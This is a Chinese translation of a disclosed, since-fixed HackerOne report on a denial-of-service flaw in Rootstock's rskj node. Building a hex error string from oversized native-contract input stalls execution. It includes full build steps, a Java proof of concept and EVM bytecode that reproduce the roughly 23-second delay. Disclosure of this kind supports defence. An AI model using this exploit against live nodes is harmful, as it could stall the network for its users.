精心构造的智能合约因巨大错误字符串构建导致执行耗时约23秒

本文详细分析了Rootstock Labs智能合约中的一个性能问题,由于NativeContract.execute方法构建完整的十六进制错误字符串导致执行时间异常延长,攻击者可通过构造大输入数据造成网络延迟。

报告 #2559404 - 精心构造的智能合约因巨大错误字符串构建导致执行耗时约23秒

问题描述

调用原生合约(rskj-core/src/main/java/co/rsk/pcc/NativeContract.java)时,如果传入无效的大输入数据(1081344字节——经实验确定这是可达到的最慢速度),并在无限循环中执行(直到gas耗尽),在我的机器上耗时约70秒(估计在你们的机器上约23秒)。(比https://hackerone.com/reports/2489843稍快)。

问题原因

问题的原因是NativeContract.execute为了日志记录和抛出异常,将整个输入消息构建为十六进制字符串:https://github.com/rsksmart/rskj/blob/e130ef722ca87eb881d4da435b30ec23f8fee15a/rskj-core/src/main/java/co/rsk/pcc/NativeContract.java#L122

1
String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data));

如果改为(为了演示):

1
String errorMessage = String.format("Invalid data given: %s.", "");

重现程序在我的机器上大约4.4秒完成。

下面的重现程序禁用了日志记录;如果生产节点默认启用日志记录,预计耗时会更长。

重现步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
echo "task testJar(type: Jar) {" >>rskj-core/build.gradle
echo "    from sourceSets.test.output" >>rskj-core/build.gradle
echo "    classifier = 'tests'" >>rskj-core/build.gradle
echo "}" >>rskj-core/build.gradle
echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle
./configure.sh

# 禁用日志记录
echo """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<configuration>
    <root level=\"OFF\">
    </root>
</configuration>""" >rskj-core/src/test/resources/logback.xml

# 构建rskj
./gradlew assemble

# 构造重现程序
echo """
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import java.util.HashSet;
import javax.xml.bind.DatatypeConverter;
import co.rsk.test.builders.AccountBuilder;
import co.rsk.test.builders.TransactionBuilder;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.*;
import org.ethereum.vm.program.Program;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import org.ethereum.core.Account;
import org.ethereum.core.Transaction;
import java.math.BigInteger;

public class Poc {
    static private final TestSystemProperties config = new TestSystemProperties();
    static private final PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
    static private final BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
    static private VmConfig vmConfig = config.getVmConfig();
    static private ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
    static private ActivationConfig.ForBlock activations = ActivationConfigsForTest.lovell700().forBlock(0);
    private static Transaction createTransaction() {
        int number = 0;
        AccountBuilder acbuilder = new AccountBuilder();
        acbuilder.name(\"sender\" + number);
        Account sender = acbuilder.build();
        acbuilder.name(\"receiver\" + number);
        Account receiver = acbuilder.build();
        TransactionBuilder txbuilder = new TransactionBuilder();
        return txbuilder.sender(sender).receiver(receiver).value(BigInteger.valueOf(1000)).build();
    }
    public static void main(String[] args) {
        TestSystemProperties config = new TestSystemProperties();
        PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
        BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
        VmConfig vmConfig = config.getVmConfig();
        ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
        ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0);
        invoke.setGas(6800000); /* 区块限制 */

        byte[] code = DatatypeConverter.parseHexBinary(
                \"5b6000600062108000600063010000095afa50600056\");
        VM vm = new VM(vmConfig, precompiledContracts);
        Transaction transaction = createTransaction();
        Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke, transaction, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));

        try {
            while (!program.isStopped())
                vm.step(program);
        } catch (RuntimeException e) {
            program.setRuntimeFailure(e);
        }
    }
}""" >Poc.java

# 构建重现程序
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc.java
# 运行重现程序
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc

影响

导致网络停滞。

时间线

  • 2024年6月18日:guido提交报告
  • 2024年6月19日:Rootstock Labs确认收到报告
  • 2024年6月24日:Rootstock Labs确认正在修复
  • 2024年7月13日:guido确认bug已被修复(可能通过https://github.com/rsksmart/rskj/commit/5f9158ad4cf90e37dbf24f30369f89f436fd101b)
  • 2024年7月17日:Rootstock Labs奖励赏金,报告状态改为已解决
  • 2025年6月10日:Rootstock Labs请求披露此报告
  • 2025年6月12日:guido同意披露,报告被公开

报告详情

  • 报告ID: #2559404
  • 状态: 已解决
  • 严重性: 中等 (6.1)
  • 披露时间: 2025年6月12日
  • 弱点: 不受控制的资源消耗
  • CVE ID: 无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计